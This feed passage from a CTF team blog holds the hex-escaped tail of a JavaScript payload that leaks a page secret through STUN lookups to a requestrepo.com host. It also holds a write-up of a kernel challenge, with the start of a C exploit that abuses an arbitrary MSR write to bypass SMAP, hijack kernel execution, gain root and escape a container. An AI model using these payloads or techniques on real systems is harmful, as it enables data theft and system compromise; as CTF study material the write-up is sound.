style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x70<span style="color:#960050">\</span>x71<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x76<span style="color:#960050">\</span>x77<span style="color:#960050">\</span>x78<span style="color:#960050">\</span>x79<span style="color:#960050">\</span>x7a<span style="color:#960050">\</span>x30<span style="color:#960050">\</span>x31<span style="color:#960050">\</span>x32<span style="color:#960050">\</span>x33<span style="color:#960050">\</span>x34<span style="color:#960050">\</span>x35<span style="color:#960050">\</span>x36<span style="color:#960050">\</span>x37<span style="color:#960050">\</span>x38<span style="color:#960050">\</span>x39<span style="color:#960050">\</span>x5f<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x30<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3c<span style="color:#960050">\</span>x31<span style="color:#960050">\</span>x32<span style="color:#960050">\</span>x38<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x76<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x64<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x6d<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x78<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x43<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6d<span style="color:#960050">\</span>x6d<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x64<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x64<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x2c<span style="color:#960050">\</span>x21<span style="color:#960050">\</span>x31<span style="color:#960050">\</span>x2c<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x5b<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x5d<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x2c<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x26<span style="color:#960050">\</span>x26<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x5b<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x5d<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x30<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3c<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x68<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x34<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x76<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x62<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x34<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x77<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x52<span style="color:#960050">\</span>x54<span style="color:#960050">\</span>x43<span style="color:#960050">\</span>x50<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x43<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x53<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x76<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x3a<span style="color:#960050">\</span>x5b<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x3a<span style="color:#960050">\</span>x5b<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x3a<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x30<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3c<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x68<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x68<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x43<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x64<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x41<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x53<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x67<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x31<span style="color:#960050">\</span>x36<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x20<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2b<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x7a<span style="color:#960050">\</span>x35<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x33<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x31<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x71<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x70<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6d<span style="color:#960050">\</span>x22<span style="color:#960050">\</span>x5d<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x5d<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x4f<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x7b<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x66<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x54<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x52<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x76<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x41<span style="color:#960050">\</span>x75<span style="color:#960050">\</span>x64<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x3a<span style="color:#960050">\</span>x31<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x68<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x3e<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x4c<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x44<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x70<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x69<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x61<span style="color:#960050">\</span>x74<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x68<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x3d<span style="color:#960050">\</span>x3e<span style="color:#960050">\</span>x63<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6e<span style="color:#960050">\</span>x73<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x6c<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x2e<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x6f<span style="color:#960050">\</span>x72<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x65<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x7d<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x28<span style="color:#960050">\</span>x29<span style="color:#960050">\</span>x3b<span style="color:#960050">\</span>x27<span style="color:#960050">\</span>x3e
</span></span></code></pre></div>]]></content></item><item><title>TRX CTF 25 - Baby Small</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-baby-small/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-baby-small/</guid><description>&lt;p>Link to the official blogpost: &lt;a href="https://kqx.io/writeups/baby_small/">https://kqx.io/writeups/baby_small/&lt;/a>&lt;/p>
&lt;h2 id="description">Description&lt;/h2>
&lt;blockquote>
&lt;p>im a &lt;em>baby&lt;/em> and im &lt;em>small&lt;/em>&lt;/p>&lt;/blockquote>
&lt;p>&lt;strong>DISCLAIMER&lt;/strong>: This challenge was rated &amp;ldquo;insane&amp;rdquo; from the pwners of the team, please reconsider approaching the challenge&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: In order to make the intended exploit more reliable &lt;code>CONFIG_HZ&lt;/code> is set to 100&lt;/p>
&lt;h2 id="challenge-overview">Challenge overview&lt;/h2>
&lt;p>&lt;img src="https://theromanxpl0.it/trxctf25/baby_small/asm.png" alt="Driver&amp;rsquo;s assembly">&lt;/p>
&lt;p>The challenge provides a weird primitive, that we can call Arbitrary MSR Write.&lt;/p>
&lt;p>Little bit of theory about MSRs:
A model specific register is any of various control registers used for debugging, enabling specific CPU features and performance monitoring.
Some examples are: EFER used (among other things) to specify if the NX protection or Long Mode are active, or LSTAR in which is contained the virtual address the CPU will jump in kernelspace after executing the syscall instruction.&lt;/p></description><content type="html"><![CDATA[<p>Link to the official blogpost: <a href="https://kqx.io/writeups/baby_small/">https://kqx.io/writeups/baby_small/</a></p>
<h2 id="description">Description</h2>
<blockquote>
<p>im a  <em>baby</em>  and im  <em>small</em></p></blockquote>
<p><strong>DISCLAIMER</strong>: This challenge was rated &ldquo;insane&rdquo; from the pwners of the team, please reconsider approaching the challenge</p>
<p><strong>NOTE</strong>: In order to make the intended exploit more reliable <code>CONFIG_HZ</code> is set to 100</p>
<h2 id="challenge-overview">Challenge overview</h2>
<p><img src="/trxctf25/baby_small/asm.png" alt="Driver&rsquo;s assembly"></p>
<p>The challenge provides a weird primitive, that we can call Arbitrary MSR Write.</p>
<p>Little bit of theory about MSRs:
A model specific register is any of various control registers used for debugging, enabling specific CPU features and performance monitoring.
Some examples are: EFER used (among other things) to specify if the NX protection or Long Mode are active, or LSTAR in which is contained the virtual address the CPU will jump in kernelspace after executing the syscall instruction.</p>
<h2 id="exploitation">Exploitation</h2>
<p>The first path that comes to mind is overwriting LSTAR to gain kernel RIP hijacking, but there&rsquo;s still a problem: leaks.
During play-testing this path appeared to be a dead end (curious about unintended solves).</p>
<blockquote>
<p><strong>Exploitation overview</strong></p>
<p>The intended path uses 2 interactions with the driver: one for MSR_SYSCALL_MASK and one for MSR_GS_BASE.
The idea is to disable SMAP and fake a kernelspace stack in userland which we can use to leak addresses and achieve RIP hijacking.</p></blockquote>
<p>We can disable SMAP for these reasons:</p>
<ul>
<li>the AC bit in EFLAGS can be set in userland</li>
<li>during the syscall instruction <code>RFLAGS := RFLAGS AND NOT(IA32_FMASK)</code> happens (<a href="https://www.felixcloutier.com/x86/syscall">https://www.felixcloutier.com/x86/syscall</a>)</li>
<li>by modifying MSR_FLAG_MASK we can tell &ldquo;syscall&rdquo; to not zero out the AC bit</li>
</ul>
<p>As said, now the idea is to create a fake GS in userland, but why do we want this?
In the <code>entry_SYSCALL_64</code> function, which is the first function that gets executed in kernelspace after the syscall instruction, the kernelspace stack gets fetched from an address, which is GS-based. So we can craft a fake GS in userland which: won&rsquo;t result in a kpanic (because of a null-ptr dereference, for example) and will fetch a userland address for the kernelspace RSP.</p>
<p>All safe and sound &rsquo;till here, the problem is that MSR_GS_BASE is CPU specific, which means that if an hardware context switch happens, the new process that will be run will also use the fake GS, and not the real one, which will, for sure, trigger a kpanic because syscalls needs an actual GS (and for god&rsquo;s sake do not try to fake it all).
So we end up in a race where if an hardware context switch happens during the window that starts from the driver&rsquo;s <code>wrmsr</code> instruction and ends at the ROPchain execution (where we&rsquo;ll fix GS) a kpanic will be triggered.
Is there a way to make this &ldquo;race&rdquo; more reliable? During play-testing we did not find such a way, so this is why CONFIG_HZ is set to 100, given that the default one is 1000, which means that an hardware context swtich happens every 10ms (instead of 1ms) which makes the race 10 times more reliable.</p>
<h3 id="lore-moment">Lore moment</h3>
<p>The original kernel image (with CONFIG_HZ=1000) made the exploit unreliable with a success rate of 20-25%.
But as soon as my laptop battery would go under the 20% of charge, the exploit would completely stop working, with the only (apparent) fix being plugging in the charger.
After several days of analysis I came to the conclusion that the battery being low triggers the &ldquo;Power Saver Mode&rdquo;, which (among other things) makes the CPU run slower: the hardware context switch has a fixed clock (every 1ms) and we have to run N instructions in that 1ms, with the CPU being slowed down, we are not able to run those N instructions triggering an hardware context switch which will result in a kpanic.
So one day @prosti randomly said: CONFIG_HZ</p>
<p>The choice of changing CONFIG_HZ was not made in order to make the challenge actually exploitable, because the exploit would still work, but we wanted to enlarge the race window.</p>
<p><img src="/trxctf25/baby_small/ds_chat.png" alt="Discord chat"></p>
<h3 id="back-to-exploitation">Back to exploitation</h3>
<p>So to win the race I used two processes pinned on two different CPUs and synchronized them through semaphores allocated on shared memory.</p>
<p>The parent&rsquo;s tasks are:</p>
<ul>
<li>wait for the child to fake GS (just some values needed to not trigger null pointer dereference in the syscall ret2user + the fake stack)</li>
<li>set AC bit on (this must be done BEFORE changing GS)</li>
<li>change GS</li>
<li>call a ni_syscall (not implemented syscall) to make leaks end up on the fake stack</li>
<li>looping a ni_syscall, which will be hijacked by the child process</li>
</ul>
<p>The child&rsquo;s tasks are:</p>
<ul>
<li>fake gs</li>
<li>wait until virtual kbase gets leaked by parent</li>
<li>write the ROPchain on the fake stack</li>
<li>loop the POP RSP; ret + &amp;ropchain write on the kernelspace fake stack to overwrite the return address</li>
</ul>
<p>The ROPchain must:</p>
<ul>
<li>fix GS, to do so you can use an Arbitrary Read gadget (I jumped in the middle of <code>rep_movs_alternative</code> which is used in copy_to/from_user) to leak page_offset_base and then add 0x3ea00000 to get the actual GS base (yeah, GS&rsquo; phys address is predictable)</li>
<li>escalate privileges: <code>commit_creds(&amp;init_cred)</code></li>
<li>escape container
<ul>
<li>change shell&rsquo;s namespace</li>
<li>assign a copy of <code>init_fs</code> struct to exploit task</li>
</ul>
</li>
<li>ret2user</li>
</ul>
<p>Now <code>system(&quot;/bin/sh&quot;)</code> and profit :)</p>
<h2 id="full-exploit">Full exploit</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6c7986">// #define DBG
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#fd8f3f">#include</span>  <span style="color:#fd8f3f">&#34;kpwn.c&#34;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define MSR_SYSCALL_MASK 0xc0000084
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define MSR_KERNEL_GS_BASE 0xc0000101
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define EFLAGS_MASK 0x257fd5  ^  0x40000
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define KERNEL_GS 0x10000
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define GS_SIZE 0x2d000
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define PHYS_GS 0x3ea00000
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define POP_RSP 0xfe760
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define POP_RDI 0xda228d
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define POP_RSI 0x2527cc
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define POP_RCX 0xa3e793
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define POP_RDX 0x67ad92
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define ADD_DWORD_RSIRDX1_ESI 0xaa4063
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define REP_MOVS_ALTERNATIVE 0x101ed10
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define PAGE_OFFSET_BASE 0x19ea178
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define WRMSR 0x1201886
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define INIT_CRED 0x1c501d0
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define COMMIT_CREDS 0xcd3b0
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define FIND_TASK_BY_VPID 0xbf9a0
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define MOV_QWORD_RDI_RAX REP_MOVS_ALTERNATIVE+3
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define INIT_NSPROXY 0x1c4fd10
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define SWITCH_TASK_NAMESPACES 0xca960
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define INIT_FS 0x1d71f20
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define COPY_FS_STRUCT 0x31e6b0
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#define SWAPGS_AND_SHIT 0x12015d0  +  0x67
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">void</span>  <span style="color:#41a1c0">win</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">system</span>(<span style="color:#fc6a5d">&#34;/bin/sh&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">void</span>  <span style="color:#41a1c0">naked_syscall</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">asm</span>  <span style="color:#fc5fa3">volatile</span> (
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;.intel_syntax  noprefix</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;mov  rax, 0x6969</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;syscall</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;.att_syntax  prefix</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		:
</span></span><span style="display:flex;"><span>		:
</span></span><span style="display:flex;"><span>		: <span style="color:#fc6a5d">&#34;rax&#34;</span>
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">int</span>  <span style="color:#41a1c0">main</span>(){
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">pin_cpu</span>(<span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">int</span> fd =  <span style="color:#41a1c0">open</span>(<span style="color:#fc6a5d">&#34;/dev/msr&#34;</span>, O_RDONLY);
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">char</span>* kgsbase;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">char</span>* fake_stack;
</span></span><span style="display:flex;"><span>	ul* kbase;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">int</span> parent_child =  <span style="color:#41a1c0">getpid</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ul rsp;
</span></span><span style="display:flex;"><span>	__asm__  <span style="color:#fc5fa3">volatile</span> (<span style="color:#fc6a5d">&#34;mov %%rsp, %0&#34;</span> : <span style="color:#fc6a5d">&#34;=r&#34;</span>(rsp));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">stop</span>(<span style="color:#fc6a5d">&#34;set eflags mask&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">ioctl</span>(fd, MSR_SYSCALL_MASK, EFLAGS_MASK);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">stop</span>(<span style="color:#fc6a5d">&#34;set fake kernel gs base&#34;</span>);
</span></span><span style="display:flex;"><span>	fake_stack = (<span style="color:#fc5fa3">char</span>*) <span style="color:#41a1c0">mmap</span>(<span style="color:#d0a8ff">NULL</span>, <span style="color:#d0bf69">0x2000</span>, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">0</span>);
